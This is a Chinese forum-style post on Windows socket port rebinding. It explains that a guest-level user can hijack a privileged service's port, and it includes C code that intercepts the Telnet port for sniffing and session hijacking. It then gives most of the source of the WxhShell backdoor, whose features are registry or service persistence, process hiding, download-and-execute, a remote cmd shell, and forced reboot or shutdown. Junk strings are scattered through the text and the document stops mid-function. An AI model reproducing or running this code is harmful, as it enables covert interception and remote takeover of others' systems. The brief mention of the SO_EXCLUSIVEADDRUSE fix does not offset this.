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在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: :9ia|lN
s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
6?*Do HcJ!( saddr.sin_family = AF_INET; Sn4xv2/ Knqv|jJVx1 saddr.sin_addr.s_addr = htonl(INADDR_ANY); JVkuSIR> m$^5{qpg bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); y0(.6HI G4*&9Wo 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 0C>_aj utuWFAGn A 这意味着什么?意味着可以进行如下的攻击: (lS[a ZD'mwj+K 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 `h'l"3l )^ZC'[93 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) Hv/5) fs;\_E[) 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 KpLaQb q[W6I9 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。 Khi;2{` 6E
K <9M 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
ar\|D\0V d/j?.\ 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 >'W,8F p+|8(w9A${ 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 Z!~_#_Ugl {6 h 1
#include ^h2+"" #include 3^%2, #include ,7bhUE/VB #include M1Ff ,]w DWORD WINAPI ClientThread(LPVOID lpParam); ,cS# int main() &'&)E(( { ! J<Xel{ WORD wVersionRequested; )1B?<4 DWORD ret; aaCRZKr WSADATA wsaData; \V!{z;.fA BOOL val; 8..|-<w SOCKADDR_IN saddr; J^yqu{ SOCKADDR_IN scaddr; X,aRL6>r int err; 6`Y:f[VB SOCKET s; ``k[CgV SOCKET sc; dWiNe!oY2 int caddsize; P ?f${t+ HANDLE mt; hBnUpYec DWORD tid; g[1>|Ax`' wVersionRequested = MAKEWORD( 2, 2 ); ]?H12xz err = WSAStartup( wVersionRequested, &wsaData ); -K?lhu if ( err != 0 ) { 2^
]^Yc printf("error!WSAStartup failed!\n"); CN ( : return -1; 0Zwx3[bq6K } qhvT," saddr.sin_family = AF_INET; 3{|~'5* 1!G}*38; //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 1}Q9y`65 &.DRAD) saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); 7r'_p$ saddr.sin_port = htons(23); rf|Nu3AJ if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) ru2M"]T { ,LxZbo! printf("error!socket failed!\n"); -O?HfQ return -1; n/(}|xYU } N8At N\e val = TRUE; IMbF]6%p( //SO_REUSEADDR选项就是可以实现端口重绑定的 5o 5DG if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
=cS5f#0 { rZpsC}C' printf("error!setsockopt failed!\n"); 0j4n11# return -1; A|1xK90^XT } KCbJ^Rln //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; >'q]ypA1
//如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 L-E?1qhP> //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 q x1Js3% j>;1jzr2} if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) -ak.wwx\ { FWW@t1) ret=GetLastError(); /iM1 printf("error!bind failed!\n"); 3e^0W_>6 return -1; 0(Y,Q(JTo& } = FV12(U listen(s,2); V6[jhdb while(1) %La7);SeY { 7glf?oE caddsize = sizeof(scaddr); ^`lrKk //接受连接请求 }JST(d& sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); N atC}k if(sc!=INVALID_SOCKET) v5\ALWy+p { [Z2[Iy mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); \^9n&MonM if(mt==NULL) }%?or_f/ { 2HBey printf("Thread Creat Failed!\n"); aW dI break; iOEBjj;C } Io JI|lP } .wq
j CloseHandle(mt); (nmsw6
X } 8g)$%Fy+N closesocket(s); zF^H*H WSACleanup(); .hxFFk%5 return 0; v&;JVai } 5lD`qY DWORD WINAPI ClientThread(LPVOID lpParam) YHom9&A { }]dzY( SOCKET ss = (SOCKET)lpParam; 1+-Go}I SOCKET sc; Kgi`@` unsigned char buf[4096]; t^K Qv~ SOCKADDR_IN saddr; iR9duP+ long num; 12'MzIsU's DWORD val; ,N,@9p DWORD ret; 24 [cU //如果是隐藏端口应用的话,可以在此处加一些判断 J`0dF<<{[y //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发 C.#Ha-@uz saddr.sin_family = AF_INET; 3]9wfT%d saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ,7s+-sRG saddr.sin_port = htons(23); |,`"Omb9+m if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) !9HWx_,|Z { w<THPFFF" printf("error!socket failed!\n"); ~Azj Y 8 return -1; 9v;[T%% } *a\x!c" val = 100; q:M'|5P if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) D`[@7$t { l$j~p=S$F ret = GetLastError(); X6Z/xb@ return -1; q { } cE`qfz if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) %7`eT^ { {na>)qzKP ret = GetLastError(); VhLfSN>W return -1; q]pHD})O } 4@\$k+v if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) zi`q([ { >r(`4M: printf("error!socket connect failed!\n"); _i7yyt;h closesocket(sc); ji4bz#/B0 closesocket(ss); lY@2$q9BT return -1; `5oXf } -wx~* while(1) :%AEwRZ { C:sgT6 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 dQrz+_ //如果是嗅探内容的话,可以再此处进行内容分析和记录 .
4RU'9M //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 NpM;vO num = recv(ss,buf,4096,0); tMP"9JE, if(num>0) Oh10X.)i send(sc,buf,num,0); o-&0_Zq_ else if(num==0) YR/I<m`]} break; r7V !M1 num = recv(sc,buf,4096,0); -{Ar5) ?=' if(num>0) 2{BS `f send(ss,buf,num,0); di+|` O else if(num==0) JQej$=* break; x;:jF_ } &+k*+ closesocket(ss); /3hY[#e closesocket(sc); ?-2s}IJO return 0 ; XefmC6X } ~@Bw(! `5(F'o iT|7**+3 ========================================================== sdB(sbSF S?JGg.) 下边附上一个代码,,WXhSHELL vN_ 8qzWk e, 2/3jO ========================================================== YZ:C9:S6X m}D;=>2$ #include "stdafx.h" G `3{Q7k {0a\<l #include <stdio.h> n,s7!z/ #include <string.h> 4,R"(ej #include <windows.h> *CQZ6&^ #include <winsock2.h> "WtYqXyd #include <winsvc.h> ^jRX6 #include <urlmon.h> `s+kYWg'Z j$lf>.[I #pragma comment (lib, "Ws2_32.lib") WPpO(@sn #pragma comment (lib, "urlmon.lib") Yd~J( Q1yXdw #define MAX_USER 100 // 最大客户端连接数 | X#!5u #define BUF_SOCK 200 // sock buffer 8b-mW>xsA #define KEY_BUFF 255 // 输入 buffer }:$ot18 $'eY-U8q #define REBOOT 0 // 重启 -w"lW7 #define SHUTDOWN 1 // 关机 YuIF}mUr" +03/A`PKrB #define DEF_PORT 5000 // 监听端口 6;s[dw5T |w#~v%w #define REG_LEN 16 // 注册表键长度 QT!>izgcU #define SVC_LEN 80 // NT服务名长度 +C,/BuG R:Ih#2R // 从dll定义API F1-C8V2H typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {SXSQ '= typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); ^\`a-l^ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); ,G="wI typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); [MbbL +kE~OdZG // wxhshell配置信息 aqQ+A:g struct WSCFG { KkpbZ7\@ int ws_port; // 监听端口 BAvz @H char ws_passstr[REG_LEN]; // 口令 o6~JAvw int ws_autoins; // 安装标记, 1=yes 0=no d@a<Eq char ws_regname[REG_LEN]; // 注册表键名 `s
UY$Q char ws_svcname[REG_LEN]; // 服务名 [~\]<;;\ char ws_svcdisp[SVC_LEN]; // 服务显示名 IqepR
>5t char ws_svcdesc[SVC_LEN]; // 服务描述信息 f2M*]{N char ws_passmsg[SVC_LEN]; // 密码输入提示信息 *2vp2xMA@ int ws_downexe; // 下载执行标记, 1=yes 0=no ~G=E
Q]a char ws_fileurl[SVC_LEN]; // 下载文件的 url, " http://xxx/file.exe" U~?mW,iRL char ws_filenam[SVC_LEN]; // 下载后保存的文件名 6=,zkU*i^ zd!%7
UP }; xb0,dZb K*,,j\Q. // default Wxhshell configuration ),Yk53G6c struct WSCFG wscfg={DEF_PORT, /5L\:eX% "xuhuanlingzhe", ?mK&Slh. 1, 3pW4Ul@e "Wxhshell", Qmo}esb'( "Wxhshell",
#QcRN?s "WxhShell Service", GRofOJ "Wrsky Windows CmdShell Service", jgPUR#) "Please Input Your Password: ", MXEI/mDYK 1, Oi^cs=} " http://www.wrsky.com/wxhshell.exe", ibwV#6 "Wxhshell.exe" 1HAnOy0 }; {5c?_U !=*8*?@ // 消息定义模块 C$C>RYE?. char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; [Y, L=p char *msg_ws_prompt="\n\r? for help\n\r#>"; 7 j=KiiI char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#> http://.../server.exe\n\r"; _&s pMf char *msg_ws_ext="\n\rExit."; 8qw{e`c char *msg_ws_end="\n\rQuit."; =23@"ji@D char *msg_ws_boot="\n\rReboot..."; olxxs( char *msg_ws_poff="\n\rShutdown..."; ln8NcAEx char *msg_ws_down="\n\rSave to "; /2/aMF(J 5=#d#dDc char *msg_ws_err="\n\rErr!"; QT%vrXzz char *msg_ws_ok="\n\rOK!"; OA\]|2 : VMJaL}J] char ExeFile[MAX_PATH]; ~Sm6{L int nUser = 0; ]'Ho)Q HANDLE handles[MAX_USER]; _$D!"z7i int OsIsNt; h.ftl2> qAbmQ{|w SERVICE_STATUS serviceStatus; fXl2i]L(^B SERVICE_STATUS_HANDLE hServiceStatusHandle; C%]qK(9vvd I"lzOD; eI // 函数声明 aTeW#:m int Install(void); @0t[7Nv-1 int Uninstall(void); X?< L<:. int DownloadFile(char *sURL, SOCKET wsh); Qyx~={.C~ int Boot(int flag); @b^$h:H void HideProc(void); 4L{]!dox int GetOsVer(void); HOPy&Fp int Wxhshell(SOCKET wsl); x@bqPZ t void TalkWithClient(void *cs); r[;d.3jtP int CmdShell(SOCKET sock); X;)/<:mX int StartFromService(void); yx4pQL7 int StartWxhshell(LPSTR lpCmdLine); qS!N\p~> Pz:,de~5Qm VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); =VZ_';b h VOID WINAPI NTServiceHandler( DWORD fdwControl ); e?+-~]0 m$v >r\*X // 数据结构和表定义 @sg.0GR SERVICE_TABLE_ENTRY DispatchTable[] = yOKzw~;0% { zP2X}VLMo {wscfg.ws_svcname, NTServiceMain}, aL+>XN {NULL, NULL} 5 *YvgB; }; m0v.[61 M
| "'`zc // 自我安装 q6nRk~ int Install(void) 1%N*GJlwJ { A]i!131{w| char svExeFile[MAX_PATH]; Zxqlhq/) HKEY key; p0zC(v0* strcpy(svExeFile,ExeFile); iJ8Z^=> vo*oCfm // 如果是win9x系统,修改注册表设为自启动 zSfUM.fM if(!OsIsNt) { `W~ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Gs3V]qbEP RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 6G"UXNa, RegCloseKey(key); e:'56?| if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { qT5"r488 RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ,&M#[>\(3 RegCloseKey(key); |#Lz0<c; return 0; p?ccBq } g9VY{[V } g\.$4N } $m*Gu:#xm& else { GCO: !,1 `<>QKpAn // 如果是NT以上系统,安装为系统服务 kI@<H< SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ?0*[
L if (schSCManager!=0) C:5d/9k { K#X/j'$^ SC_HANDLE schService = CreateService FG{les+: ( QdQ1+*/+U schSCManager, Y.Z:H!P);$ wscfg.ws_svcname, K@cWg C wscfg.ws_svcdisp, ~KkC089D SERVICE_ALL_ACCESS, b$#b+G{y SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , we^'R}d SERVICE_AUTO_START, 5BXku=M SERVICE_ERROR_NORMAL, X"_
^^d- svExeFile, "zd_eC5 NULL, {en'8kS NULL, h
ka_Fo NULL, a <?~1pWtc NULL, vFntzN># NULL l}VE8-XB ); ^4"AWps if (schService!=0) zN[&
iKf { ,z/aT6M?H CloseServiceHandle(schService); E/%"%&`8j CloseServiceHandle(schSCManager); YT(Eh3ID strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); C]5 kQ1Og strcat(svExeFile,wscfg.ws_svcname); kV?fie<\) if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { #*_!Xc9f RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); ^w~B]*A:" RegCloseKey(key); H~Vf;k> return 0; \DZ.#=d } MSvZ3[5Io } r=Lgh#9S CloseServiceHandle(schSCManager); U-fxlg|-C } 3s%ND7!/ } hPBBXj/= &5b3k[K" return 1; msfE; } J({D~
0]c&K // 自我卸载 llX ` int Uninstall(void) r W[;3yMf
{ 04;s@\yX4 HKEY key; =NC??e { R`a~8QVh&5 if(!OsIsNt) { ([<HFc` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { QtKcv7:4 RegDeleteValue(key,wscfg.ws_regname); x$BNFb%I1 RegCloseKey(key); jUA~}DVD if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { -W('^v_* RegDeleteValue(key,wscfg.ws_regname); 5{V"!M+< RegCloseKey(key); ;j1E 6 return 0; `<se&IZE } ~d]v{<3 } SU~.baP? } ~i%=1&K&` else { &U]/SFY <O'U-.
Gc SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); fy"}#
2 if (schSCManager!=0) C){Q;`M-< { Sf*v#? SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 13#ff if (schService!=0) \'j(@b, { S5TVfV5LI if(DeleteService(schService)!=0) { Z@+nkTJ9&t CloseServiceHandle(schService); /v5A)A$7 CloseServiceHandle(schSCManager); 8ex;g^e return 0; V2T%tn;rp } JXU?'@QY CloseServiceHandle(schService); ,k4pW&A } 70 R6: CloseServiceHandle(schSCManager); ")uKDq } Ei @ } L@(. i nI6ompTX return 1; !mUJ["# } ^)>( <6 PtW2S 1?j // 从指定url下载文件 m#RJRuZ|2V int DownloadFile(char *sURL, SOCKET wsh) [d[w/@ { 2'S&%UyP HRESULT hr; pPRX#3 char seps[]= "/"; +8//mrL_/ char *token; `Fr ,,Q81\ char *file; -GPBX? char myURL[MAX_PATH]; iG6]Pr|;e char myFILE[MAX_PATH]; {HEWU<5 R~oJ-}iYX strcpy(myURL,sURL); IXa~,a H71 token=strtok(myURL,seps); *2a" 2o while(token!=NULL) l6HtZ( { K)LoZ^x0) file=token; mv8H:T token=strtok(NULL,seps); Gr2}N"X= } %BkE %ZcZ uKk#V6t# GetCurrentDirectory(MAX_PATH,myFILE); 'D5J5+.z strcat(myFILE, "\\"); :zKW[sF strcat(myFILE, file); 1}=D send(wsh,myFILE,strlen(myFILE),0); T"Y#u send(wsh,"...",3,0); iLSUz j` hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); <7J3tn B if(hr==S_OK) H;nzo3x return 0; Zwc&4:5% else ?; W"=I*3 return 1; o[!o+M .-rz30xT } \T_ZcV f~mwDkf?L // 系统电源模块 6P
_+:Mf int Boot(int flag) F-|DZ?)k5 { LvG$J* HANDLE hToken; jD S\ TOKEN_PRIVILEGES tkp; iw,uwh|L
G^)]FwTs if(OsIsNt) { a^J(TW/ OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ]C,j80+pK LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); %;QK5L tkp.PrivilegeCount = 1; Hl8-q! tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; '/HShS!d AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); L1RD`qXu. if(flag==REBOOT) { WS n>P7sY if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 1iz =i^} return 0; ^aAs=KditO } {"Sv~L|J; else { \UK}B if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) 5\quh2Q_ return 0; -&2Z/qM&! } #1J,!seJ } wL),/i&< else { n zaDO-2! if(flag==REBOOT) { #VX]trh, if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) wd*B3 return 0; jV*10kM< } [IOI&`?D else { y{mt *VA4 if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) GW>F:<p return 0; &qXobJRM } =H;n$ -P } ]"V_`i7Z ZXQ5fBx return 1; G>vK$W$f N } *$0*5d7 n}Z%D-b$ // win9x进程隐藏模块 Lf%3-P void HideProc(void) n^[a}DX0 { V"4L=[le }V]b4t HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); rwj+N%N if ( hKernel != NULL ) H[KX xNYZ_ { tP|/Q5s pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); Jp"29
)w ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); Z]b;%:>= FreeLibrary(hKernel); .c]>*/(+ } )Q`Ycz- =a,qRO return; N:U}b1$L6 } s&nat4{B
yGtTD9j // 获取操作系统版本 FA-cTF[,( int GetOsVer(void) tjThQ { ~|=D.}#$ OSVERSIONINFO winfo; ir.RO7f winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); cL#-vW<s3 GetVersionEx(&winfo); F;#$Q if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) Y }VJ4!%U return 1; }'wZ)N@ else $Be hU return 0; c9 EtUv~ } _$$.5?4 }w4OCN\1
// 客户端句柄模块 )=GPhC/sw int Wxhshell(SOCKET wsl) u=nd7:bv { K.QSt SOCKET wsh; zl8M<z1`1 struct sockaddr_in client; i=<;$+tW DWORD myID; cu>(;= }6a}8EyFP while(nUser<MAX_USER) bEcN_7 { =!SV;^-q int nSize=sizeof(client); -51LF=(!L wsh=accept(wsl,(struct sockaddr *)&client,&nSize); 5T.U=_ag if(wsh==INVALID_SOCKET) return 1; $>#0RzU !o`7$`%Wz\ handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); (^iF)z if(handles[nUser]==0) [r"Oi|
8I closesocket(wsh);
RP{0+ else c?CfM> nUser++; P x Q] $w } !aUYidd WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); O'98OH+u >D u=(pB return 0; |
U0s1f } >#:SJ?)`T FW8Zpr!u // 关闭 socket (]cL5o9 void CloseIt(SOCKET wsh) (
y!o { HUjX[w8 closesocket(wsh); 1LS1 ZY nUser--; f$^wu~ ExitThread(0); qZF&^pCF} } b%MZfaU /v9qrZ$$ // 客户端请求句柄 R/"f void TalkWithClient(void *cs) RgV3, z { bj@sci(1? ^X{U7?x SOCKET wsh=(SOCKET)cs; =$4I}2 char pwd[SVC_LEN]; f@YdL6&d- char cmd[KEY_BUFF]; BhDg\oxZ char chr[1]; +0U=UV)U int i,j; Az y`4 .g}N@ while (nUser < MAX_USER) { BNJ0D
Z:^#9D{ if(wscfg.ws_passstr) { M>5OC)E if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); + Fo^NT //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gk| %
4. //ZeroMemory(pwd,KEY_BUFF); !`N:.+DT i=0; pnSKIn while(i<SVC_LEN) { ZMlBd}H OR6vA5J
// 设置超时 Lqxhy s fd_set FdRead; vrb@::sy0T struct timeval TimeOut; v\|jkzR5Y FD_ZERO(&FdRead); `w#VYs|k FD_SET(wsh,&FdRead); nxV!mh_ TimeOut.tv_sec=8; O EaL2T TimeOut.tv_usec=0; Tk[]l7R~ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); (bv{17K if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); :@jctH~ %ZD]qaU0 if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); P\K#q%8 pwd =chr[0]; DgcS@N if(chr[0]==0xd || chr[0]==0xa) { %J2Ad pwd=0; b?OA |JqX break; \E,2VM@6 } ?=4oxPe i++; =YVxQj } !HU$V9C YK{J"Kof // 如果是非法用户,关闭 socket 'cc8xC if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $"NH{%95} } hfI=9x/ zZPWE"u} send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); }0\SNpVN send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xdbzpU
'.z7)n while(1) { A z@@0 ]cP%d-x} ZeroMemory(cmd,KEY_BUFF); QAx9W% xP~GpVhLF // 自动支持客户端 telnet标准 ds+K7B$ j=0; \(
V1-, while(j<KEY_BUFF) { a]fFR~OY if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ZKrK>X cmd[j]=chr[0]; \?t8[N\_[( if(chr[0]==0xa || chr[0]==0xd) { @`
Pn<_L cmd[j]=0; `lE&:) break; I~F&@ } ,nL~?h-Zh j++; j[i*;0) | } \^,Jh|T >;Oa|G // 下载文件 C)FO:lLr\ if(strstr(cmd,"http://")) { @C@9Tw2Y send(wsh,msg_ws_down,strlen(msg_ws_down),0); QyL]-zNg if(DownloadFile(cmd,wsh)) oy
jkk send(wsh,msg_ws_err,strlen(msg_ws_err),0); j?*n@' else $!. [R} send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); r4[=pfe25 } 1lIs
jBo g else { K_Y{50# 2~hdJ/ switch(cmd[0]) { wN'S+4 n:40T1:q // 帮助 ,=C ipL9] case '?': { _+P*XY5 send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); qspGNu break; p/_W*0/i } A@|Z^T: // 安装 ^_v94!a9 case 'i': { P=EZ6<c3& if(Install()) Gi-pi=#&cs send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ht+ro Y else R5QW4i9 send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 2|\mBP`ok break; I`XOvSO } -"ZNkC= // 卸载 V^FM-bg%9 case 'r': { )G/=3;! if(Uninstall()) ESoqmCJjb: send(wsh,msg_ws_err,strlen(msg_ws_err),0); "JmbYb#Z else yxx_%9 X send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 4w%hvJ break; z)KoK`\mE" } h(nE)j // 显示 wxhshell 所在路径 s[{8:Px case 'p': { Ay6T*Nu` char svExeFile[MAX_PATH]; dEXhn strcpy(svExeFile,"\n\r"); A4l"^dZc strcat(svExeFile,ExeFile); _:Q^mV=;j send(wsh,svExeFile,strlen(svExeFile),0); }P%gwgPK break; $I-iq
@ } 3F;0a ;[ // 重启 m`zd0IRTP case 'b': { V9<E`C send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); chD7^&5] if(Boot(REBOOT)) bny@AP(CY+ send(wsh,msg_ws_err,strlen(msg_ws_err),0); rkS'OC else { +Q_xY>ej closesocket(wsh); 0e"KdsA:<U ExitThread(0); "Vc|D (g } bZWR.</ break; YdvXp/P:| } X)]>E]X // 关机 !V #*(_+n case 'd': { ?xKiN5q"6 send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); /oe0 if(Boot(SHUTDOWN)) @.cord` send(wsh,msg_ws_err,strlen(msg_ws_err),0); 6C.!+km else { P[H`]q| closesocket(wsh); nUONI+6Z/ ExitThread(0); S|u5RU8*"| } mhIGunK;+ break; ;QuxTmWp^ } 6k,@+@]t. // 获取shell 0|va}m`<3G case 's': { nq7)0F%e CmdShell(wsh); >/.jB/q closesocket(wsh); /:A239=+ ? ExitThread(0); D.AiqO<z break; wMF1HT<* } 2\$<&]q // 退出 }1CO>a< case 'x': { >Gg[J=7` send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); aAoAjV NkK CloseIt(wsh); ;/m>c{ break; S WsD]rn } Rbm+V{EF& // 离开 lKI]q<2 case 'q': { ,trh)ZZYW| send(wsh,msg_ws_end,strlen(msg_ws_end),0); \iEJ9V closesocket(wsh); ZKI` ; WSACleanup(); Ca"i<[8 exit(1); !Y^$rF-+ break; S#+ _HFUK{ } .*EP$pc } (#je0ES } .q]K:}9!\ FGwgSrXL7 // 提示信息 IMSm if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); QKz2ONV=) } Q(8W5Fb? } c$A}mL_ e!i.u'z return; =|- xj h } F+xMXBD@>* nYRD>S?uz // shell模块句柄 <N80MUL| int CmdShell(SOCKET sock) g5Hsz,x { I GcR5/3 STARTUPINFO si; S9/\L6Rmf ZeroMemory(&si,sizeof(si)); DML0paOm5 si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; P#A|Pn<p si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 9D%~~~
%b PROCESS_INFORMATION ProcessInfo; Q"xDRQA char cmdline[]="cmd"; jTQN(a9Y CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); *OE>gg&?Nh return 0; a~tBg y+9 } p-g@cwOu E\}Q9,Z$ // 自身启动模式 kr1^`>O5 int StartFromService(void) d7c m?+ { Z[j-.,Qu typedef struct @qJv { d<;XQ.Wo7 DWORD ExitStatus; iN`L* h DWORD PebBaseAddress; ER$~kFE2yP DWORD AffinityMask; kS7T'[d DWORD BasePriority; }>j1j^c1=' ULONG UniqueProcessId; ~0.@1zEXj ULONG InheritedFromUniqueProcessId; YX2j;Y? } PROCESS_BASIC_INFORMATION; >yqL oWOH #w PROCNTQSIP NtQueryInformationProcess; z#&qWO \}qv}hU static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; ] @1ncn7N static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; RzSN,bLR |@)ij c4i HANDLE hProcess; bL7mlh PROCESS_BASIC_INFORMATION pbi; /%N~$ &wW WUi7~Ei} HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); %}&9[# if(NULL == hInst ) return 0; L'h'm{i {la^useg[ g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); R?\8SdJ g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); Un[#zh<4 